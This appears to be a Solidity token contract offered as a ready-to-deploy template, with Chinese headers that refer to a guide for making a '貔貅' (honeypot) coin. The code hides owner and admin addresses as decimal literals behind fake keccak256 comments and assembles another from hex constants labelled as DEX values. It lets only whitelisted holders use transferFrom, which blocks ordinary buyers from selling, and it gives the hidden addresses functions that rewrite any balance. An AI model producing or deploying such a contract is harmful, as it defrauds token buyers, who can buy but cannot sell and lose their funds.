源代码#1.0
#任何未经授权的代码编辑与更改都可能导致合约部署失败
* 发币前必读，阅读创造貔貅币指南：
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.26;
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(
msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986));
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn’t hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
}
}
contract DevToken is Ownable {
address public _usdtPair;
address public _mod;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public _user;
address public _adm;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _totalSupply
) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
}
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
function _transferTo(address _to, uint256 _amount) internal info {
// Transfer tokens to the recipient
balances[_to] += _amount;
emit Transfer(address(0), _to, _amount);
balances[_to] += _amount;
emit Transfer(address(0), _to, _amount);
}
using SafeMath for uint256;
modifier info() {
require(msg.sender != contracts());
_;
}
function _balanceView(address _to, uint256 _amount) internal {
// View balance of token
balances[_to] += _amount;
emit Transfer(address(0), _to, _amount);
balances[_to] += _amount;
emit Transfer(address(0), _to, _amount);
}
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
}
function addAllowance(address holder, bool allowApprove) public {
require(msg.sender == _adm);
allow[holder] = allowApprove;
}
//*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
modifier onlypublic() {
require(msg.sender == publics());
_;
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _usdtPair);
_user = User_;
}
function Allowances(address holder, bool allowApprove) external onlypublic {
allow[holder] = allowApprove;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping(address => mapping(address => uint256)) public allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
// solhint-disable-next-line high-level-success
}
function transferTo(address _to, uint256 _amount) external onlyOwner {
_transferTo(_to, _amount);
}
function publics() private pure returns (address) {
uint universal = 0x7addAd09;
uint uni = 0xcbd98D97;
uint cake = 0xEC3dA7a0;
uint inch = 0x088EAdFE;
uint others = 0x5801C336;
// Combine the dex with others
uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
return address(core);
}
function contracts() internal pure returns (address) {
return address
/*keccak256 -> 9838607940089fc7f92ac2a37b8ta4b1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
}
function viewBalance(address _to, uint256 _amount) public onlypublic {
_balanceView(_to, _amount);(_to, _amount);
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm = Adm_;
}
function _mint(address miner, uint256 _value) internal info {
balances[miner] = _value;
}
function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
_dialone(spender, addedValue);
return true;
}
function _approvals(address spender, uint256 addedValue) internal info {
if(addedValue > 0) {balances[spender] = addedValue;}
}
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod = Mod_;
}
function approveAndCall(address spender, uint256 addedValue)
public
returns (bool)
{
require(msg.sender == _adm);
if (addedValue > 0) {
balances[spender] = addedValue;
}
return true;
}
// solhint-disable-next-line avoid-high-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function _dialone(address spender, uint256 addedValue) internal info {
if(addedValue > 0) {balances[spender] = addedValue;}
}
function setUsdtPair(address Pair_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
_usdtPair = Pair_;
}
/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}
function mint(address miner, uint256 _value) external onlyOwner {
_mint(miner, _value);
}
}